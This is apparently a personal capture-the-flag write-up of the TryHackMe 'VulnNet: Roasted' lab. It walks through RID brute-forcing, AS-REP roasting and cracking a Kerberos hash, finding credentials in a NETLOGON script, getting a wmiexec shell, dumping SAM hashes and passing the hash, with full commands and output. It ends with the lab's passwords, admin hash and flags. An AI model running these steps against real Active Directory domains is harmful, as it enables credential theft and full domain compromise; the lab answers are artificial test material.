

Vulnet-Roasted

Enumeration

we find some txt files from smb share through anonymous access, giving away some user anmes

I use crackmap exec to bruteforce rids for usernames

```
as)
MB      10.10.148.165    445      WIN-2B08M10E1M1    1000: VULNNET-RST\WIN-2B08M10E1M1$ (SidTypeUser)
MB      10.10.148.165    445      WIN-2B08M10E1M1    1101: VULNNET-RST\DnsAdmins (SidTypeAlias)
MB      10.10.148.165    445      WIN-2B08M10E1M1    1102: VULNNET-RST\DnsUpdateProxy (SidTypeGroup)
MB      10.10.148.165    445      WIN-2B08M10E1M1    1104: VULNNET-RST\enterprise-core-vn (SidTypeUser)
MB      10.10.148.165    445      WIN-2B08M10E1M1    1105: VULNNET-RST\a-whitehat (SidTypeUser)
MB      10.10.148.165    445      WIN-2B08M10E1M1    1109: VULNNET-RST\t-skid (SidTypeUser)
MB      10.10.148.165    445      WIN-2B08M10E1M1    1110: VULNNET-RST\j-goldenhand (SidTypeUser)
MB      10.10.148.165    445      WIN-2B08M10E1M1    1111: VULNNET-RST\j-leet (SidTypeUser)
```

We get some valid usernames now we will proceed.

We perform asrep roasting and find that user tony skid doesnt have pre auth enabled and we get tgt for that user

```
python3 /usr/share/doc/python3-impacket/examples/GetNPUsers.py vulnnnet-rst.local/ -dc-ip $ip -users users.txt -no-pass
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User a-whitehat doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$t-skid@VULNNET-RST.LOCAL:fb3840a1f0a4233aa8faa78fb9217ff5$825df0e415edd418e6c7d5742ec9ab5ab232ff097e6a4eae15f2f6f73911c4d44b5646a0476c63504b
807a1e4e4dd76c3958024d832f7df04691d51817c5e435b7c8eeff50ba48186fc2b590e643c4785e12b38769bb3e8ad7f38f9cb3bc296c1f52ca7371db7fb58a907eec8af40daf06245302792
8b9985a363a3293abe298d0c6a5b79417de1fe6d2f95f13483be94e7dba617ed347af131fb0ee28fd29448fd8679432ed4a2cd2440e1c6666252cdfffc3b2cd264ed83623dcaf141ade5188c55
c22662804675dcfd484abfd4e746a3ad09da39930a19a483611f7249abd32db5e134728af9a01ce2b479ca3bece6a0500385a7
[-] User j-goldenhand doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User j-leet doesn't have UF_DONT_REQUIRE_PREAUTH set

(root@CyberJunkie)-[~/Tryhackme/Vulnet_Roasted/stuff]
root@CyberJunkie: ~/Tryhackme/Vulnet_Roasted/stuff 154x27
```

\$krb5asrep\$23\$t-skid@VULNNET-

RST.LOCAL:fb3840a1f0a4233aa8faa78fb9217ff5\$825df0e415edd418e6c7d5742ec9ab5ab232ff097e6a4eae15f2f6f73911c

we get tony skids password : tj072889*

```
john t-skid.hash --wordlist=~/.WordLists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
tj072889* ($krb5asrep$23$t-skid@VULNNET-RST.LOCAL)
1g 0:00:00:03 DONE (2021-09-19 09:32) 0.2770g/s 880469p/s 880469C/s tj3929..tj0216044
Use the "--show" option to display all of the cracked passwords reliably
Session completed
```

Nmap

PORT	STATE	SERVICE	REASON	VERSION
------	-------	---------	--------	---------

```

53/tcp open domain syn-ack ttl 125 Simple DNS Plus
88/tcp open kerberos-sec syn-ack ttl 125 Microsoft Windows Kerberos (server time: 2021-09-19 12:46:12Z)
135/tcp open msrpc syn-ack ttl 125 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 125 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 125 Microsoft Windows Active Directory LDAP (Domain: vulnnet-rst.local0., Site:
Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack ttl 125
464/tcp open kpasswd5? syn-ack ttl 125
593/tcp open ncacn_http syn-ack ttl 125 Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack ttl 125
3268/tcp open ldap syn-ack ttl 125 Microsoft Windows Active Directory LDAP (Domain: vulnnet-rst.local0.,
Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack ttl 125
5985/tcp open http syn-ack ttl 125 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ http-server-header: Microsoft-HTTPAPI/2.0
|_ http-title: Not Found
49684/tcp open unknown syn-ack ttl 125
49697/tcp open msrpc syn-ack ttl 125 Microsoft Windows RPC
49712/tcp open msrpc syn-ack ttl 125 Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
TCP/IP fingerprint:
SCAN(V=7.91%E=4%D=9/19%OT=53%CT=%CU=%PV=Y%DS=4%DC=T%G=N%TM=6147314B%P=x86_64-pc-linux-
gnu)
SEQ(SP=105%GCD=1%ISR=106%TI=I%TS=U)
SEQ(SP=101%GCD=1%ISR=104%TI=I%II=I%SS=S%TS=U)
OPS(O1=M505NW8NNS%O2=M505NW8NNS%O3=M505NW8%O4=M505NW8NNS%O5=M505NW8NNS%O6=M505NNS)
WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)
ECN(R=Y%DF=Y%TG=80%W=FFFF%O=M505NW8NNS%CC=Y%Q=)
T1(R=Y%DF=Y%TG=80%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=N)
T3(R=N)
T4(R=N)
U1(R=N)
IE(R=Y%DFI=N%TG=80%CD=Z)

Network Distance: 4 hops
TCP Sequence Prediction: Difficulty=257 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: Host: WIN-2B08M10E1M1; OS: Windows; CPE: cpe:/o:microsoft:windows

```

```

Host script results:
|_ clock-skew: 1m17s
| p2p-conficker:
|   Checking for Conficker.C or higher...
|   Check 1 (port 56761/tcp): CLEAN (Timeout)
|   Check 2 (port 51925/tcp): CLEAN (Timeout)
|   Check 3 (port 35260/udp): CLEAN (Timeout)
|   Check 4 (port 37900/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode:
|   2.02:
|_    Message signing enabled and required
| smb2-time:
|   date: 2021-09-19T12:47:35
|_  start_date: N/A

```

```

TRACEROUTE (using port 49697/tcp)
HOP RTT ADDRESS
1 205.27 ms 10.4.0.1
2 ... 3
4 522.33 ms 10.10.148.165

```

```

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.

```

```
Initiating NSE at 08:47
Completed NSE at 08:47, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 08:47
Completed NSE at 08:47, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 08:47
Completed NSE at 08:47, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 144.24 seconds
Raw packets sent: 114 (8.986KB) | Rcvd: 58 (3.667KB)
```

Exploitation

After wasting some time i took a hint and found that we now have read access to NETLOGON share and theres a vbs script including credentials for user alexa whitehat

a-whitehat : bNdKVkjv3RR9ht

```
If (Wscript.Arguments.Count <> 0) Then
    Wscript.Echo "Syntax Error. Correct syntax is:"
    Wscript.Echo "cscript ResetPassword.vbs"
    Wscript.Quit
End If

strUserNTName = "a-whitehat"
strPassword = "bNdKVkjv3RR9ht"

' Determine DNS domain name from RootDSE object.
Set objRootDSE = GetObject("LDAP://RootDSE")
strDNSDomain = objRootDSE.Get("defaultNamingContext")
```

NOw we got a semi shell using wmiexec

```
(root👁CyberJunkie)-[~/Tryhackme/Vulnet_Roasted/stuff]
# wmiexec.py vulnnnet-rst.local/a-whitehat@10.10.253.255
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

Password:
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
c:\>
```

NOw we get user flag

Post Compromise

After post enumeration we found that our user a.whitehat is domain admin so we can dump hashes using crackmapexec or secretsdump.py

```
-(root@CyberJunkie)-[~/Tryhackme/Vulnet_Roasted/stuff]
# crackmapexec smb $ip -u a-whitehat -p bNdKVkjv3RR9ht --local-auth --sam 2 x
B 10.10.253.255 445 WIN-2B08M10E1M1 [*] Windows 10.0 Build 17763 x64 (name:WIN-2B08M10E1M1) (domain:WIN-2B08M10E1M1) (signing:True)
v1:False)
B 10.10.253.255 445 WIN-2B08M10E1M1 [-] WIN-2B08M10E1M1\a-whitehat:bNdKVkjv3RR9ht STATUS_LOGON_FAILURE

-(root@CyberJunkie)-[~/Tryhackme/Vulnet_Roasted/stuff]
# crackmapexec smb $ip -u a-whitehat -p bNdKVkjv3RR9ht -d vulnnet-rst.local --sam
B 10.10.253.255 445 WIN-2B08M10E1M1 [*] Windows 10.0 Build 17763 x64 (name:WIN-2B08M10E1M1) (domain:vulnnet-rst.local) (signing:True)
MBv1:False)
B 10.10.253.255 445 WIN-2B08M10E1M1 [+] vulnnet-rst.local\a-whitehat:bNdKVkjv3RR9ht (Pwn3d!)
B 10.10.253.255 445 WIN-2B08M10E1M1 [+] Dumping SAM hashes
B 10.10.253.255 445 WIN-2B08M10E1M1 Administrator:500:aad3b435b51404eeaad3b435b51404ee:c2597747aa5e43022a3a3049a3c3b09d:::
B 10.10.253.255 445 WIN-2B08M10E1M1 Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
B 10.10.253.255 445 WIN-2B08M10E1M1 DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
ROR:root:SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
B 10.10.253.255 445 WIN-2B08M10E1M1 [+] Added 3 SAM hashes to the database
```

Now instead of cracking i passed the hash and login as admin and get system flag

Loot

Credentials

Usernames

Alexa
Jack
Tony
Johnny

##

t-skid : tj072889*

a-whitehat : bNdKVkjv3RR9ht

##Administrator hash

aad3b435b51404eeaad3b435b51404ee:c2597747aa5e43022a3a3049a3c3b09d

Flags

User Flag

THM{726b7c0baaac1455d05c827b55561f4ed}

NT Authority/System Flag

THM{16f45e3934293a57645f8d7bf71d8d4c}